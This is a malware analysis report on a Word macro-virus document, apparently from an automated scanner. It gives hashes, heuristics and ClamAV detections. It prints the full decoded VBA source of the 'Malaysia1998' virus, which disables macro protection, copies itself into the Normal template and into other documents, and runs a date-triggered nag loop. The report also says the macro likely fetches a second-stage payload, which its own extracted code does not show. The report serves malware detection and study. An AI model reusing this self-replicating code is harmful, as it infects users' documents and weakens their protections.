Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 13e536fefc504956…

MALICIOUS

Office (OLE)

59.0 KB Created: 1999-06-07 08:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cdc205ccdeea04d38202490070a67ebc SHA-1: 09286b6e3837c80782da1f418297c9fd16107229 SHA-256: 13e536fefc504956551853f00b7a33553f977dab2643cc24a8337bc51c886a9e
256 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and a VBA AutoOpen macro, indicating malicious intent. The document body presents a fake invoice, aligning with the 'SE_INVOICE_LURE' heuristic. The presence of VBA macros, specifically an AutoOpen subroutine, suggests the document is designed to execute code upon opening, likely to download and execute a second-stage payload. ClamAV detections further confirm its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Preteced-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Preteced-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3098 bytes
SHA-256: 856f0ee9888c90d8819e3e5acef4b19fe884b8bfbbb56d546d0f8cc2ead37760
Detection
ClamAV: Doc.Trojan.Proteced-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Malaysia1998"

Sub AutoExec()

Options.VirusProtection = False

End Sub

Sub AutoOpen()

On Error GoTo err
Options.SaveNormalPrompt = False
DocumentToNormal
NormalTemplate.Save
err:

End Sub

Sub FileOpen()

Application.EnableCancelKey = wdCancelDisabled
On Error GoTo err
   Options.VirusProtection = False
   Dialogs(wdDialogFileOpen).Show
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub FileSave()

Application.EnableCancelKey = wdCancelDisabled
Trigger
On Error GoTo err
   NormalToDocument
   ActiveDocument.Save
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro recorded 04/09/98 by Ng Bing Yew"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro2"

Application.EnableCancelKey = wdCancelDisabled
Trigger
On Error GoTo err
   NormalToDocument
   Dialogs(wdDialogFileSaveAs).Show
err:
Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub ToolsMacro()
   
Application.EnableCancelKey = wdCancelDisabled
   titles = "Macro Proteced"
   msg = "Please enter correct password in order to access the macro:"
   Passcode = InputBox(msg, titles)
   If Passcode = "Bad Logic" Then
      Dialogs(wdDialogToolsMacro).Show
   Else
      MsgBox ("Access denied...")
   End If
Application.EnableCancelKey = wdCancelDisabled
   
End Sub

Sub NormalToDocument()

On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Malaysia1998"
   Application.OrganizerCopy Source:=global_temp, _
   Destination:=cur_doc, Name:=macroname, _
   Object:=wdOrganizerObjectProjectItems
err:

End Sub

Sub DocumentToNormal()

On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Malaysia1998"
   Application.OrganizerCopy Source:=cur_doc, _
                             Destination:=global_temp, _
                             Name:=macroname, _
                             Object:=wdOrganizerObjectProjectItems
err:
   
End Sub

Sub Trigger()

On Error GoTo err
   Todaydate = Date
   If (Month(Todaydate) = 8) And (Day(Todaydate) = 30) Then
       Do
         cr = Chr(13) + Chr(10)
         titles = "WM.MALAYSIA 1998"
         msg1 = "You are lucky!!! You have met WM.MALAYSIA 1998!!!" + cr
         msg2 = "WM.MALAYSIA 1998 is Malaysian's first MACRO VIRUS." + cr
         msg3 = "It is written by a young college student -- BAD LOGIC." + cr
         msg4 = cr + cr + cr + cr + "Please ENTER CORRECT password: "
         msg = msg1 + msg2 + msg3 + msg4
         response = InputBox(msg, titles)
       Loop While (response <> "WM.MALAYSIA 1998")
    End If
err:

End Sub

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